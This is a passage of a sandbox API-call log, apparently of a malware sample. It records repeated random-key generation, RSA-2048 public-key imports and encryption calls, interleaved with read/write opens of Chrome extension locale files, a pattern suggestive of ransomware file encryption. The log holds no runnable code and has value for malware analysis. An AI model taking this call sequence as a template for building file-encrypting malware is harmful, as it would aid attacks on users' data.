[0235.929] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.929] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.930] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c678) returned 1 [0235.930] CryptGetKeyParam (in: hKey=0x659c678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.930] CryptEncrypt (in: hKey=0x659c678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8d10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.931] GetLastError () returned 0x0 [0235.931] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.931] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.932] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.934] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.935] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.935] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.935] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.935] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.938] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.938] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.938] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.938] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.941] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c2f8) returned 1 [0235.941] CryptGetKeyParam (in: hKey=0x659c2f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.941] CryptEncrypt (in: hKey=0x659c2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8d20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.941] GetLastError () returned 0x0 [0235.941] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.941] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.943] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c0b8) returned 1 [0235.943] CryptGetKeyParam (in: hKey=0x659c0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.943] CryptEncrypt (in: hKey=0x659c0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8d30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.943] GetLastError () returned 0x0 [0235.943] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.943] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.944] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.947] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.948] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.948] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.948] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.949] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.951] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.951] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.951] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.951] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.953] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c0f8) returned 1 [0235.953] CryptGetKeyParam (in: hKey=0x659c0f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.953] CryptEncrypt (in: hKey=0x659c0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8d40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.953] GetLastError () returned 0x0 [0235.953] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.953] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.955] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c6b8) returned 1 [0235.955] CryptGetKeyParam (in: hKey=0x659c6b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.955] CryptEncrypt (in: hKey=0x659c6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8d50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.955] GetLastError () returned 0x0 [0235.955] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.955] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.956] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.959] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.960] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.960] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.960] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.960] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.962] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.963] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.964] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.964] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.966] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c278) returned 1 [0235.966] CryptGetKeyParam (in: hKey=0x659c278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.967] CryptEncrypt (in: hKey=0x659c278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8d60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.967] GetLastError () returned 0x0 [0235.967] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.967] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.969] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c4b8) returned 1 [0235.969] CryptGetKeyParam (in: hKey=0x659c4b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.969] CryptEncrypt (in: hKey=0x659c4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8d70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.969] GetLastError () returned 0x0 [0235.969] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.969] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.970] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.974] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.974] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.974] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.978] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.978] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.978] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.980] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c538) returned 1 [0235.980] CryptGetKeyParam (in: hKey=0x659c538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.980] CryptEncrypt (in: hKey=0x659c538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8d80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.980] GetLastError () returned 0x0 [0235.980] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.980] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.982] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c578) returned 1 [0235.982] CryptGetKeyParam (in: hKey=0x659c578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.982] CryptEncrypt (in: hKey=0x659c578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8d90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8d90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.982] GetLastError () returned 0x0 [0235.982] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.982] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.984] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.986] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.987] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.987] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.987] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.989] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.990] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.991] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.991] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.991] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.993] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c138) returned 1 [0235.993] CryptGetKeyParam (in: hKey=0x659c138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.993] CryptEncrypt (in: hKey=0x659c138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8da0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8da0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.993] GetLastError () returned 0x0 [0235.993] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.993] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.995] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c178) returned 1 [0235.995] CryptGetKeyParam (in: hKey=0x659c178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.995] CryptEncrypt (in: hKey=0x659c178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8db0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8db0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.995] GetLastError () returned 0x0 [0235.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.995] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.996] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.998] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.000] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.000] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.000] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.003] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.003] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.003] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.003] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.005] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c238) returned 1 [0236.005] CryptGetKeyParam (in: hKey=0x659c238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.005] CryptEncrypt (in: hKey=0x659c238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8dc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8dc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.006] GetLastError () returned 0x0 [0236.006] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.006] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.008] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c338) returned 1 [0236.008] CryptGetKeyParam (in: hKey=0x659c338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.008] CryptEncrypt (in: hKey=0x659c338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8dd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8dd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.008] GetLastError () returned 0x0 [0236.008] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.009] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0236.012] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.014] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.014] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0236.014] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.014] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0236.016] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.018] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0236.018] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.018] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0236.021] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x659b2f8) returned 1 [0236.021] CryptGetKeyParam (in: hKey=0x659b2f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0236.021] CryptEncrypt (in: hKey=0x659b2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8de0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x8de0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0236.021] GetLastError () returned 0x0 [0236.021] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.021] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0236.023] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x659c9f8) returned 1 [0236.023] CryptGetKeyParam (in: hKey=0x659c9f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0236.023] 